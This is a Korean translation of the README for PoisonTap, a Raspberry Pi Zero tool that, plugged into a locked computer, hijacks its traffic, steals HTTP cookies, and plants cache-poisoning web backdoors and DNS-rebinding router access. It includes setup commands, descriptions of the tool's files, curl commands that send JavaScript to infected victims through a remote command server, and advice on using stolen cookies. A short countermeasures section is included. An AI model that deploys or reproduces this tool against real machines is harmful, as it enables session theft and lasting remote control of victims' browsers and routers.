PoisonTap - 잠긴 컴퓨터에서 쿠키를 빼내고, 내부 라우터를 노출하며, 웹 백도어를 설치합니다
제작: @SamyKamkar || https://samy.pl
잠겨 있거나 비밀번호로 보호된 컴퓨터에 PoisonTap (Raspberry Pi Zero 및 Node.js)을 연결하면 다음과 같은 동작을 수행합니다:
- USB(또는 Thunderbolt)를 통해 이더넷 장치를 에뮬레이션합니다
- (낮은 우선순위/알려지지 않은 네트워크 인터페이스임에도 불구하고) 머신의 모든 인터넷 트래픽을 하이재킹합니다
- Alexa 상위 1,000,000개 웹사이트에 대한 웹 브라우저의 HTTP 쿠키와 세션을 빼내어 저장합니다
- 아웃바운드 WebSocket과 DNS 리바인딩을 통해 내부 라우터를 공격자에게 노출하여 원격으로 접근 가능하게 만듭니다 (리바인딩 아이디어는 Matt Austin에게 감사합니다!)
- 수십만 개의 도메인과 일반적인 Javascript CDN URL에 대해 HTTP 캐시에 지속적인 웹 기반 백도어를 설치하며, 캐시 포이즈닝을 통해 사용자의 쿠키에 모두 접근할 수 있습니다
- 공격자가 원격으로 사용자가 HTTP 요청을 보내도록 강제하고, 백도어가 설치된 모든 도메인에서 사용자의 쿠키를 사용하여 응답(GET 및 POST)을 프록시로 되돌려 받을 수 있습니다
- 머신이 잠금 해제되어 있을 필요가 없습니다
- 장치가 제거되고 공격자가 유유히 사라진 이후에도 백도어와 원격 접근이 지속됩니다

(Ara의 놀라운 HTML5 canvas 애니메이션)
PoisonTap은 다음 보안 메커니즘을 우회합니다:
데모
PoisonTap은 $5 Raspberry Pi Zero용으로 제작되었으며, 마이크로 USB 케이블 및 microSD 카드 외에는 추가 구성 요소가 필요 없습니다. 또한 이더넷-USB/Thunderbolt 동글을 사용하여 모든 Raspberry Pi(1/2/3)에서 작동할 수 있으며, USB Armory 및 LAN Turtle과 같이 USB 가젯을 에뮬레이션할 수 있는 다른 장치에서도 작동할 수 있습니다.
라이브 데모 및 자세한 내용은 영상에서 확인할 수 있습니다:

연락처: @SamyKamkar // https://samy.pl
출시일: 2016년 11월 16일
소스 코드 및 다운로드: https://github.com/samyk/poisontap
PoisonTap 작동 방식
PoisonTap은 USB/Thunderbolt, DHCP, DNS 및 HTTP를 포함한 머신과 네트워크의 다양한 메커니즘에 대한 기존의 신뢰를 악용하여 연쇄 효과를 만들어냄으로써, 정보 유출, 네트워크 접근 및 반영구적 백도어 설치의 눈덩이 효과를 일으킵니다.

간단히 말하면 PoisonTap은 다음을 수행합니다:
네트워크 하이재킹
- 공격자는 (무기화된 Raspberry Pi Zero와 같은) PoisonTap을 잠긴 컴퓨터(비밀번호로 보호된 컴퓨터라도)에 연결합니다
- PoisonTap은 이더넷 장치(예: USB/Thunderbolt를 통한 이더넷)를 에뮬레이션합니다. 기본적으로 Windows, OS X 및 Linux는 이더넷 장치를 인식하여 낮은 우선순위의 네트워크 장치로 자동 로드하고, 머신이 잠겨 있거나 비밀번호로 보호된 경우에도 이를 통해 DHCP 요청을 수행합니다
- PoisonTap은 DHCP 요청에 응답하여 머신에 IP 주소를 제공하지만, DHCP 응답은 작은 서브넷(예: 192.168.0.0 - 192.168.0.255)이 아니라 전체 IPv4 공간(0.0.0.0 - 255.255.255.255)이 PoisonTap의 로컬 네트워크의 일부라고 머신에 알리도록 제작됩니다
- 일반적으로 보조 네트워크 장치가 머신에 연결되는 것은 무관합니다. 기존(신뢰된) 네트워크 장치보다 낮은 우선순위가 부여되고 인터넷 트래픽의 게이트웨이를 대체하지 않기 때문입니다. 하지만...
- "인터넷 트래픽"보다 "LAN 트래픽"의 우선순위로 인해 모든 라우팅 테이블/게이트웨이 우선순위/네트워크 인터페이스 서비스 순서 보안은 우회됩니다
- PoisonTap은 낮은 우선순위 네트워크 장치일지라도 이 네트워크 접근을 악용합니다. 왜냐하면 낮은 우선순위 네트워크 장치의 서브넷은 가장 높은 우선순위 네트워크 장치의 게이트웨이(기본 경로)보다 높은 우선순위가 부여되기 때문입니다
- 즉, 트래픽이 1.2.3.4로 향하는 경우, 일반적으로 이 트래픽은 기본(비-PoisonTap) 네트워크 장치의 기본 경로/게이트웨이에 도달하지만, PoisonTap의 "로컬" 네트워크/서브넷이 1.2.3.4 및 존재하는 모든 다른 IP 주소를 포함하는 것으로 간주되므로 PoisonTap이 실제로 트래픽을 받게 됩니다 ;)
- 이로 인해 머신이 더 높은 우선순위와 올바른 게이트웨이(실제 wifi, 이더넷 등)를 가진 다른 네트워크 장치에 연결되어 있음에도 불구하고 모든 인터넷 트래픽이 PoisonTap을 통해 흐릅니다

쿠키 사이펀
- 웹 브라우저가 백그라운드에서 실행 중인 한, 열려 있는 페이지 중 하나가 AJAX 또는 동적 스크립트/iframe 태그를 통해 백그라운드에서 HTTP 요청을 수행할 가능성이 높습니다(예: 새 광고를 로드하거나, 분석 플랫폼에 데이터를 보내거나, 단순히 사용자의 웹 이동을 추적하기 위해)
- 직접 확인할 수 있습니다. devtools/inspector(일반적으로 Cmd+Shift+I 또는 Ctrl+Shift+I)를 열고, 방문 빈도가 높은 웹사이트로 이동한 후 Network 탭을 클릭하면, 페이지에서 아무런 조작을 하지 않아도 원격 리소스에 계속 접근되는 것을 볼 수 있습니다
- 이 HTTP 요청 시 모든 트래픽이 PoisonTap 장치로 나가기 때문에 PoisonTap은 즉석에서 DNS 스푸핑을 수행하여 자신의 주소를 반환하고, HTTP 요청이 PoisonTap 웹 서버(Node.js)에 도달하게 합니다
- DNS 서버가 PoisonTap이 권한을 얻을 수 없는 내부 IP(LAN)를 가리키는 경우에도 공격은 계속 작동합니다. 내부 DNS 서버가 공격 대상의 다양한 도메인에 대한 공용 IP 주소를 생성하고, PoisonTap이 이미 하이재킹한 것은 바로 그 공용 IP 주소이기 때문입니다
- 내부 DNS 서버가 응답하면 웹 브라우저는 공용 IP에 도달하고, 결국 어느 시나리오에서든 PoisonTap 웹 서버(Node.js)에 도달하게 됩니다
- Node 웹 서버가 요청을 수신하면 PoisonTap은 HTML 또는 Javascript로 해석될 수 있는 응답으로 응답하며, 둘 다 제대로 실행됩니다(많은 웹사이트가 백그라운드 요청에서 HTML 또는 JS를 로드합니다)
- HTML/JS에 구애받지 않는 페이지는 많은 숨겨진 iframe을 생성하며, 각 iframe은 서로 다른 Alexa 상위 1백만 도메인에 걸쳐 있습니다
- 이제 PoisonTap이 HTTP 서버가 되어 클라이언트에 보낼 헤더를 선택하므로 도메인의 "X-Frame-Options" 보안은 우회됩니다
- 사이트에 대한 모든 iframe HTTP 요청이 이루어지면(예: http://nfl.com/PoisonTap), HTTP 쿠키가 브라우저에서 PoisonTap이 하이재킹한 "공용 IP"로 전송되고, PoisonTap은 이를 신속히 기록하여 수만 개의 사용자 쿠키를 PoisonTap에 로깅합니다
- 도메인 자체에서 Javascript가 실행되지 않고 처음에 iframe을 로드하는 데만 사용되므로 "HttpOnly" 쿠키 보안은 우회되고 해당 쿠키도 캡처됩니다
- 접근 중인 도메인이 브라우저에 정상적으로 보이므로 교차 출처 리소스 공유 또는 동일 출처 정책 보안은 우회됩니다
- 자격 증명이 아닌 쿠키를 캡처하므로, 공격자가 쿠키를 사용하여 로그인할 때 사이트에 구현된 2FA/MFA는 우회됩니다. 실제로 로그인 기능을 수행하는 것이 아니라 이미 로그인된 세션을 계속 사용하는 것이기 때문에 2단계 인증이 트리거되지 않습니다
- 서버가 HTTPS를 사용하지만 쿠키가 Secure 쿠키 플래그를 명시적으로 설정하지 않은 경우, HTTPS 보호는 우회되고 쿠키는 PoisonTap으로 전송됩니다

원격으로 접근 가능한 웹 기반 백도어
- PoisonTap이 수천 개의 iframe을 생성하여 브라우저가 각각을 로드하도록 강제하는 동안, 이 iframe은 전혀 빈 페이지가 아니라 무기한 캐시되는 HTML+Javascript 백도어입니다
- PoisonTap이 각 도메인에 백도어를 강제 캐시하므로 백도어는 해당 도메인에 묶여 있으며, 사용자가 현재 로그인되어 있지 않더라도 공격자가 향후 해당 도메인의 쿠키를 사용하고 동일 출처 요청을 실행할 수 있습니다
- 예를 들어 http://nfl.com/PoisonTap iframe이 로드되면 PoisonTap은 우회된 인터넷 트래픽을 수락하고 Node 웹 서버를 통해 HTTP 요청에 응답합니다
- 페이지를 무기한 캐시하기 위해 추가 HTTP 헤더가 추가됩니다
- 페이지의 실제 응답은 공격자의 웹 서버(PoisonTap 장치가 아닌 인터넷을 통해)로 지속적인 WebSocket을 생성하는 HTML과 Javascript의 조합입니다
- WebSocket은 열린 상태로 유지되므로 공격자는 향후 언제든지 백도어가 설치된 머신에 다시 연결하여 백도어가 구현된 모든 출처(Alexa 상위 1,000,000개 사이트 -- 아래 참조)에서 요청을 수행할 수 있습니다
- 백도어가 한 사이트(예: nfl.com)에 열려 있지만 사용자가 다른 도메인(예: pinterest.com)을 공격하려는 경우, 공격자는 nfl.com에서 pinterest.com 백도어(http://pinterest.com/PoisonTap)로 iframe을 로드할 수 있습니다
- 다시 말하지만, 요청이 실제 도메인이 아닌 PoisonTap이 남긴 캐시에 도달하므로 도메인의 "X-Frame-Options", 교차 출처 리소스 공유 및 동일 출처 정책 보안은 완전히 우회됩니다

내부 라우터 백도어 및 원격 접근
- PoisonTap이 하이재킹할 수 없는 유일한 네트워크는 실제 네트워크 인터페이스의 실제 LAN 서브넷입니다(예: 사용자의 wifi 서브넷이 192.168.0.x인 경우 이 네트워크는 영향을 받지 않음). 하지만...
- PoisonTap은 특수 호스트, 구체적으로 대상 라우터의 IP 앞에 ".ip.samy.pl"을 붙인 호스트(예: 192.168.0.1.ip.samy.pl)에 백도어를 강제 캐시하여 본질적으로 지속적인 DNS 리바인딩 공격을 생성합니다
- PoisonTap을 DNS 서버로 사용할 때(피해자가 공용 DNS 서버를 사용하는 경우), PoisonTap은 특수한 PoisonTap IP(1.0.0.1)로 임시 응답하므로 그 순간의 모든 요청은 PoisonTap 웹 서버에 도달합니다
- 반대로 DNS 서버가 내부 네트워크(예: 192.168.0.x)로 설정된 경우, 1.0.0.1**.pin.**ip.samy.pl에 대한 추가 특수 제작 요청이 이루어지며, 이는 (공용 인터넷에 있는) 제 전문 DNS 서버에 [ip.address].ip.samy.pl 주소에 대해 "피닝된" 주소(1.0.0.1)로 수 초 동안 임시 응답하도록 지시합니다
- 그런 다음 PoisonTap은 http://192.168.0.1.ip.samy.pl/PoisonTap에 백도어를 신속히 설정합니다. 이 주소는 현재 1.0.0.1의 PoisonTap 장치를 가리키므로 PoisonTap 장치에서 백도어에 접근하고 캐시할 수 있습니다
- 방금 전에 수행된 수십만 개의 요청으로 인해 DNS 피닝 테이블이 고갈되어 DNS 피닝 및 DNS 리바인딩 보안은 우회되며, 향후 리바인딩이 발생할 필요가 없으므로 이 공격은 장기간 지속됩니다(이 공격을 저와 공유해 준 Matt Austin에게 감사합니다!)
- 이제 백도어가 http://192.168.0.1.ip.samy.pl/PoisonTap에 강제 캐시되었으므로, 192.168.0.1.ip.samy.pl에 대한 향후 모든 요청은 피닝되지 않은 IP 주소에 도달하여 대신 192.168.0.1로 해석되고 라우터를 직접 가리키게 됩니다
- 즉, 백도어를 통해 원격으로 192.168.0.1.ip.samy.pl/PoisonTap 호스트를 iframe으로 로드하면, 내부 라우터의 다른 모든 페이지에 대해 AJAX GET/POST를 완전히 원격으로 수행할 수 있어 내부 라우터에 대한 원격 접근이 가능해집니다
- 이는 공격자가 원래는 전혀 접근할 수 없었을 라우터에 대한 다른 공격으로 이어질 수 있습니다. 예를 들어 라우터의 기본 관리자 자격 증명을 사용하여 DNS 서버를 덮어쓰거나, 다른 인증 취약점이 노출되는 경우입니다
DNS 서버 요약:
- [ip.addy].ip.samy.pl은 일반적으로 [ip.addy]로 응답합니다
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A 레코드)
- [ip.addy].pin.ip.samy.pl은 임시로(~5초) *.ip.samy.pl을 [ip.addy]로 지정합니다
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A 레코드, 짧은 TTL)
- (~5초 후)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A 레코드)
추가적인 원격 접근 가능 웹 기반 백도어
- 또한 PoisonTap은 Google 및 jQuery CDN과 같은 수천 개의 일반적인 CDN 기반 Javascript 파일을 올바른 코드와 백도어가 포함된 코드로 대체하며, 이 백도어는 감염된 CDN 기반 Javascript 파일을 로드하는 모든 도메인에 대한 접근을 공격자에게 제공합니다
- 각 도메인에 백도어가 남아 있기 때문에, 공격자는 백도어가 설치된 브라우저가 사실상 모든 주요 도메인에 대해 동일 출처 요청(AJAX GET/POST)을 수행하도록 원격으로 강제할 수 있으며, 피해자가 해당 도메인에 열린 창을 현재 가지고 있지 않더라도 가능합니다
- 피해자가 사이트를 방문할 때, 감염된 HTTP 기반 CDN Javascript 프레임워크 중 하나를 사용하는 추가 사이트에도 백도어가 남게 됩니다

PoisonTap에 대한 보안 대책
서버 측 보안
웹 서버를 운영 중이라면 PoisonTap에 대한 보안 대책은 간단합니다:
- 최소한 인증 및 인증된 콘텐츠에 대해서는 HTTPS만 사용하세요
- 솔직히, HTTPS만 독점적으로 사용하고 HTTP 콘텐츠를 항상 HTTPS로 리디렉션하여 사용자가 HTTP를 통해 자격 증명이나 기타 개인 식별 정보(PII)를 제공하도록 속임을 당하지 않게 하세요
- 쿠키에서 Secure 플래그가 활성화되어 HTTPS 쿠키가 HTTP로 유출되는 것을 방지하세요
- 원격 Javascript 리소스를 사용할 때는 Subresource Integrity 스크립트 태그 속성을 사용하세요
- HSTS를 사용하여 HTTPS 다운그레이드 공격을 방지하세요
데스크톱 보안
- USB 및 Thunderbolt 포트에 시멘트를 추가하는 것이 효과적일 수 있습니다
- 자리에서 일어날 때마다 브라우저를 닫는 방법도 작동할 수 있지만 전혀 현실적이지 않습니다
- USB/Thunderbolt 포트를 비활성화하는 것도 효과적이지만 역시 비현실적입니다
- 컴퓨터를 잠그는 것은 효과가 없습니다. 머신이 잠겨 있는 동안에도 네트워크 및 USB 스택이 작동하기 때문입니다. 그러나 메모리를 해독하는 데 키가 필요한 암호화된 절전 모드(예: FileVault2 + 딥 슬립)로 전환하면, 깨어난 후에도 브라우저가 더 이상 요청을 하지 않으므로 대부분의 문제가 해결됩니다
다운로드
소스 코드: https://github.com/samyk/poisontap
설치 / 파일 구성
참고: 장치가 이더넷 컨트롤러로 자동 작동하지 않는 경우(예: 이전 버전의 Windows), pi_startup.sh에서 VID 및 PID를 변경할 수 있습니다```bash
sudo bash
If Raspbian BEFORE 2016-05-10, then run next line:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
dhcpd.conf를 /etc/dhcp/dhcpd.conf에, 나머지 파일들을 /home/pi/poisontap에 넣은 다음 재부팅하여 모든 것이 정상 작동하는지 확인하십시오.
<a href="https://github.com/samyk/poisontap" target=_blank>저장소의 파일들</a>은 여러 가지가 있으며, 각기 다른 측에서 사용됩니다. 목록:
* **backdoor.html** - 쿠키를 유출하기 위해 http://hostname/PoisonTap URL에 접근하면, 이 파일이 강제 캐시된 콘텐츠로 반환됩니다. 이 파일에는 samy.pl:1337(어떤 호스트/포트로든 조정 가능)로 나가는 웹소켓을 생성하는 백도어가 포함되어 있으며, 서버의 명령을 기다리며 열린 상태를 유지합니다. 즉, 사이트에서 http://hostname/PoisonTap 같은 iframe을 로드하면 이 콘텐츠가 채워진다는 뜻입니다(머신에서 PoisonTap이 제거된 후에도 마찬가지입니다).
* **backend_server.js** - 인터넷에 접근 가능한 서버에서 실행하는 Node.js 서버입니다. backdoor.html이 연결하는 대상입니다(예: samy.pl:1337). PoisonTap에 감염된 미니언 머신에 명령을 보내기 위해 연결하는 바로 그 서버입니다. 예를 들어```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js - Raspberry Pi Zero에서 Node.js를 통해 실행되며, PoisonTap이 가로챈 모든 HTTP 요청을 처리하고, 수집된 쿠키를 저장하며, 캐시된 백도어를 주입하는 HTTP 서버입니다.
- pi_startup.sh - Raspberry Pi Zero에서 시작 시 실행되어, 장치가 Ethernet-over-USB 가젯을 에뮬레이션하도록 설정하고, 악성 DHCP 서버를 구축하며, 트래픽 재라우팅과 DNS 스푸핑을 허용하고, 위의 pi_poisontap.js를 실행합니다.
- target_backdoor.js - 이 파일은 CDN 관련 JavaScript 파일 앞에 추가되어 해당 파일들을 백도어 처리합니다(예: Google CDN의 jQuery URL).
- target_injected_xhtmljs.html - 이 코드는 피해자 머신의 의도하지 않은/백그라운드 HTTP/AJAX 요청에 주입되어 전체 공격을 시작합니다. HTML 또는 JavaScript로 해석되어도 동일한 코드가 실행되도록 구성되어 있습니다. 또한, 놀라운 HTML5 캔버스는 대단한 Ara oen CodePen의 작품으로, 너무 훌륭해서 포함하지 않을 수 없었습니다. 이것은 페이지가 PoisonTap에 의해 장악될 때 나타나는 그래픽 난장판입니다.
- poisontap.cookies.log - 이 파일은 사용자의 머신이 PoisonTap에 HTTP 요청을 보내기 시작하면 생성되며, 브라우저의 쿠키와 해당 쿠키가 속한 URL/도메인을 함께 기록합니다.
자주 묻는 질문
- Q: 백도어를 설치할 추가 도메인은 어떻게 추가하나요?
- A: 백도어 대상 도메인 목록은
target_injected_xhtmljs.html의 getDoms() 함수에 설정되어 있습니다. 이 목록 자체는 저장소 루트의 alexa1m.sh 스크립트로 채워집니다. 이 목록에 추가 도메인을 추가하려면 getDoms()의 return 호출을 수정하기만 하면 됩니다.
- Q: 캡처된 쿠키는 어떻게 사용하나요?
- A: 브라우저의 JavaScript 콘솔에서 Document.cookie API를 직접 사용하여 쿠키를 설정할 수 있습니다. 이 StackOverflow 게시물에도 Chrome에 특화된 몇 가지 제안이 있습니다. 예를 들어 Cookie Inspector Chrome 확장 프로그램이 있습니다.
- Q: 머신에서 PoisonTap을 어떻게 제거하나요?
- A: 로컬 OS DNS 캐시와 모든 브라우저 캐시를 지워야 합니다. 또한 당시 로그인되어 있던 세션 중 쿠키가 유출되었을 수 있는 세션을 무효화해야 할 수도 있습니다. 단순히 로그아웃하는 것이 아니라 기존 쿠키를 무효화하는 방식이어야 합니다. (현재 머신에서 PoisonTap 장치를 안전하게 사용하려면 모든 브라우저를 종료한 다음 장치를 연결해야 합니다).
연락처
연락 담당자: @SamyKamkar
제 프로젝트를 더 보거나 저에게 연락하려면 https://samy.pl을 방문하세요.